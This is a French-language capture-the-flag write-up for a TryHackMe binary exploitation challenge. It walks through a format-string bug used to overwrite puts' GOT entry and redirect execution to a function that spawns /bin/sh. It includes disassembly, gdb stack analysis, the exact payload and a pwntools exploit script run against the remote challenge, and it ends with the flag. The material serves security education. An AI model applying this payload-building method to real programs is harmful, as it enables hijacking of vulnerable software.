Guide des got-plt overwrite
Dans ce guide, je part du principe que vous êtes à l'aise avec les format string. Sinon, allez lire ce guide. Vous aurez également besoin de connaissances de base de l'assembly pour suivre.
Exploiter les failles got-plt overwrite
Dans ce guide, on va découvrir comment exploiter une faille de type got-plt overwrite en résolvant un challenge de TryHackMe :
- Pwn 101 - Challenge 8
Pour ce challenge, on ne nous donne que le fichier executable.
Analyse
Avant toute chose, il est toujours une bonne idée de run les commandes suivantes pour avoir une premiere idée de avec quoi on travaille :
terminalbash$- file ./pwn108-1644300489260.pwn108 ./pwn108-1644300489260.pwn108: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=b1c32d1f20d6d8017146d21dfcfc4da79a8762d8, for GNU/Linux 3.2.0, not stripped $- checksec --file=pwn108-1644300489260.pwn108 RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH 49 Symbols No 0 2pwn108-1644300489260.pwn108
On a donc un executable ELF64 pour linux x86-64, non stripped. Avoir ces informations pourrait nous aider plus tard dans la résolution du chall. On voit également que :
- Le fichier à été compilé avec partial RELRO
- Canary est actif (protection contre buffer overflow)
- Le NX bit est actif (protection contre injection de shellcode sur la stack)
- PIE est inactif (les adresses ne sont pas randomisées)
On execute ensuite le fichier pour avoir une première idée de ce qu'on va devoir faire :
terminalbash$- ./pwn108-1644300489260.pwn108 TRYHACKME pwn 108 THM University 📚 👨🎓 Student login portal 👩🎓 > =[Your name]: bowie > =[Your Reg No]: 1234 =[ STUDENT PROFILE ]= Name : bowie Register no : 1234 Institue : THM Branch : B.E (Binary Exploitation) =[ EXAM SCHEDULE ]= -------------------------------------------------------- | Date | Exam | FN/AN | |-------------------------------------------------------- | 1/2/2022 | PROGRAMMING IN ASSEMBLY | FN | |-------------------------------------------------------- | 3/2/2022 | DATA STRUCTURES | FN | |-------------------------------------------------------- | 3/2/2022 | RETURN ORIENTED PROGRAMMING | AN | |-------------------------------------------------------- | 7/2/2022 | SCRIPTING WITH PYTHON | FN | --------------------------------------------------------
On pense directement aux deux failles les plus communes :
- Le buffer overflow
- Le format string
Canary étant actif, on écarte l'idée d'un buffer overflow.
On se penche alors sur les format string :
terminalbash$- ./pwn108-1644300489260.pwn108 TRYHACKME pwn 108 THM University 📚 👨🎓 Student login portal 👩🎓 > =[Your name]: %lX > =[Your Reg No]: %lX =[ STUDENT PROFILE ]= Name : %lX Register no : 7FFD92924980 Institue : THM Branch : B.E (Binary Exploitation) =[ EXAM SCHEDULE ]= -------------------------------------------------------- | Date | Exam | FN/AN | |-------------------------------------------------------- | 1/2/2022 | PROGRAMMING IN ASSEMBLY | FN | |-------------------------------------------------------- | 3/2/2022 | DATA STRUCTURES | FN | |-------------------------------------------------------- | 3/2/2022 | RETURN ORIENTED PROGRAMMING | AN | |-------------------------------------------------------- | 7/2/2022 | SCRIPTING WITH PYTHON | FN | --------------------------------------------------------
Et bingo ! On voit que le champ d'input du Register number présente une vulnérabilité aux format string. Cependant, on ne sait pas encore comment l'exploiter pour trouver le flag.
Pour avoir plus d'informations sur l'executable, on va utiliser Cutter, il s'agit d'un tool de reverse engineering.
En fouillant un peu, on trouve la fonction holidays.

Elle semble afficher une chaine à l'écran puis appelle la fonction system avec en parametre la valeur à 0x40216f, qui correspond à la string "/bin/sh".

En clair, cette fonction est notre cible, on doit détourner l'éxécution du programme pour qu'il éxécute cette fonction.
Pour comprendre comment on va exploiter ce fichier, il faut d'abord comprendre comment les executable utilisent des fonctions importées.
Lorsque le programme appelle par exemple la fonction puts :
0x004012d8 call puts ; sym.imp.puts ; int puts(const char *s)
Il appelle la fonction puts :
int puts(const char *s); 0x00401030 jmp qword [puts] ; 0x404018 0x00401036 push 0 0x0040103b jmp section..plt
Qui elle même saute à l'adresse contenue dans 0x404018 (correspondant à puts dans la section .got.plt) :
;-- puts: 0x00404018 .qword 0x0000000000401036;
Or, dans les executables compilés avec partial RELRO, il est possible d'écrire dans la section .got.plt (on voit ça au rw- qui veut dire qu'on peut read et write mais pas executer) :
Il suffirait donc de changer l'adresse à une adresse de la section .got.plt pour faire en sorte que, lorsque le programme appelle une certaine fonction importée, il aille à la place où on veut.
Par exemple, si on pouvait réécrire la valeur à 0x00404018 (puts dans .got.plt) à celle de la fonction holidays, on aurait :
;-- puts: 0x00404018 .qword 0x000000000040123b;
Ce qui voudrait dire que, la prochaine fois que le programme éxécute la fonction puts, il serait détourné et executerait la fonction holidays à la place.
Or, on a découvert plus tôt une faille de type format string, qui nous permettrait d'écrire ce qu'on veut à l'adresse qu'on veut.
Maintenant qu'on sait quoi écrire et comment l'écrire, il ne nous reste plus qu'à trouver où l'écrire. En effet, il faut trouver une fonction importée qui est appelée après la faille format string.

Dans ce screen, la vulnérabilité est surlignée en rouge. On la trouve facilement car c'est un appel à printf en passant directement [format] (sans format string) :
0x0040138e lea rax, [format] 0x00401392 mov rdi, rax ; const char *format 0x00401395 mov eax, 0 0x0040139a call printf ; sym.imp.printf ; int printf(const char *format)
Et car [format] est une entrée utilisateur :
0x00401332 lea rax, [format] 0x00401336 mov edx, 0x64 ; 'd' ; 100 ; size_t nbyte 0x0040133b mov rsi, rax ; void *buf 0x0040133e mov edi, 0 ; int fildes 0x00401343 mov eax, 0 0x00401348 call read ; sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)
On regarde donc les fonction importées après l'appel à printf vulnérable et on en trouve deux :
- puts
- printf
Note: on ne compte pas __stack_chk_fail car il faudrait réécrire canary en smashant la stack pour qu'elle s'éxécute, ce qu'on ne peut pas faire.
En relisant la fonction objectif holidays, on se rends compte qu'elle appelle elle-même la fonction printf. Ce qui veut dire que si on détourne la fonction printf pour sauter à holidays, on créerait une fonction qui s'appelle elle-même et donc une boucle infinie.
Pour palier à ce problème, on utilisera la fonction importée puts à la place.
On cherche donc à faire un payload pour une format string exploit qui permettrait d'écrire 0x40123b à l'adresse 0x00404018. Comme on a déjà vu comment créer le payload dans ce guide, je vais aller rapidement ici :
- On cherche donc à écrire 0x40 à 0x00404018 + 2 puis 0x123b à 0x00404018
Entrée
40Résultat
64Entrée
123bRésultat
4667Et
-
On utilise donc les format specifiers "%64X%??$n" et "%4603X%??$hn"
-
Le payload ressemblera donc à :
payload = b'%64X%??$ln' + b'%4603X%??$hn' + p64(puts_got_adress + 2) + p64(puts_got_adress) # avec puts_got_adress = 0x404018
- Il ne reste plus qu'a trouver où l'input est stocké dans la stack :
terminalbash> (gdb) run TRYHACKME pwn 108 THM University 📚 👨🎓 Student login portal 👩🎓 > =[Your name]: bowie > =[Your Reg No]: aaaaaaaa =[ STUDENT PROFILE ]= Name : bowie Register no : Breakpoint 1, 0x000000000040139a in main () > (gdb) x/16x $rsp 0x7fffffffd9b0: 0x00000a6569776f62 0x0000000001000000 0x7fffffffd9c0: 0x0000000001000000 0x0000000000080000 0x7fffffffd9d0: 0x6161616161616161 0x00007fffffffda0a 0x7fffffffd9e0: 0x0000007100000017 0x0000000000000000 0x7fffffffd9f0: 0x0000000000000000 0x0000000000000000 0x7fffffffda00: 0x0000000000000000 0x0000000000000000 0x7fffffffda10: 0x0000000000000000 0x0000000000000000 0x7fffffffda20: 0x0000000000000000 0x00007ffff7fe5af0 > (gdb) x/x $rsp + 32 0x7fffffffd9d0: 0x6161616161616161
On retrouve bien le début de notre input à l'adresse $RSP + 32. Soit au 10eme parametre.
On peut donc définir l'odre des paramètres :
- 10eme parametre = "%64X%??$"
- 11eme parametre = "n%4603X%"
- 12eme parametre = "??$hnaaa" -> En ajoutant des 'a' pour compléter
- 13eme parametre = p64(puts_got_adress + 2)
- 14eme parametre = p64(puts_got_adress)
On a donc le payload final :
payload = b'%64X%13$ln' + b'%4603X%14$hnaa' + p64(puts_got_adress + 2) + p64(puts_got_adress)
Avant d'essayer de mettre en place un exploit, il faut revenir à ce que fait le programme :
-
Il demande une première entrée pour le nom
-
Il demande une seconde entrée pour le numéro de registre
On a notre payload pour le numéro de registre mais pas celui pour le nom. On a déjà compris que la faille se trouvait dans le deuxieme input mais il faut bien donner quelque chose au programme pour le nom avant.
Il est important de toujours donner le maximum de données que le programme peut prendre en input même si il ne s'agit pas d'un payload utile. Si on donne moins que le maximum, il arrive qu'on ait des erreurs de EOF (End Of File) lorsqu'on utilise l'exploit en remote.
On retrouve donc l'endroit où le programme prends en input le nom :
0x00401300 lea rax, [buf] 0x00401307 mov edx, 0x12 ; 18 ; size_t nbyte 0x0040130c mov rsi, rax ; void *buf 0x0040130f mov edi, 0 ; int fildes 0x00401314 mov eax, 0 0x00401319 call read ; sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)
On voit que la taille max size_t est égale à 0x12 soit 18 caracteres. Notre premier payload pour le nom doit donc être de 18 caracteres de long. Etant donné que le premier input n'a pas d'influence sur notre exploit, on peut mettre n'importe quelle valeur (de 18 caracteres).
On peut donc créer notre exploit :
from pwn import * puts_got_adress = 0x00404018 payload1 = b"cecinestpas1paylod" # chaine de 18 caracteres payload2 = b'%64X%13$ln' + b'%4603X%14$hnaa' + p64(puts_got_adress + 2) + p64(puts_got_adress) with open('test', 'wb') as f: f.write(payload1) f.write(payload2)
terminalbash$- python3 exploit.py
terminalbash$- (gdb) run < test TRYHACKME pwn 108 THM University 📚 👨🎓 Student login portal 👩🎓 =[Your name]: =[Your Reg No]: =[ STUDENT PROFILE ]= Name : cecinestpas1paylodRegister no : (...) No more exams for you enjoy your holidays 🎉 And here is a small gift for you
On a un exploit qui marche en local, essayons de le lancer en remote :
from pwn import * p = remote("HOST", PORT) puts_got_adress = 0x00404018 payload1 = b"cecinestpas1paylod" # chaine de 18 caracteres payload2 = b'%64X%13$ln' + b'%4603X%14$hnaa' + p64(puts_got_adress + 2) + p64(puts_got_adress) p.send(payload1) p.send(payload2) p.interactive()
terminalbash$- python3 exploit.py [x] Opening connection to HOST on port PORT [x] Opening connection to HOST on port PORT: Trying XX.XX.XX.XX [+] Opening connection to HOST on port PORT: Done [*] Switching to interactive mode TRYHACKME pwn 108 THM University 📚 👨🎓 Student login portal 👩🎓 =[Your name]: =[Your Reg No]: =[ STUDENT PROFILE ]= Name : cecinestpas1paylodRegister no : (...) No more exams for you enjoy your holidays 🎉 And here is a small gift for you > ls flag.txt pwn108 pwn108.c > cat flag.txt THM{7urN3d_puts_in70_win}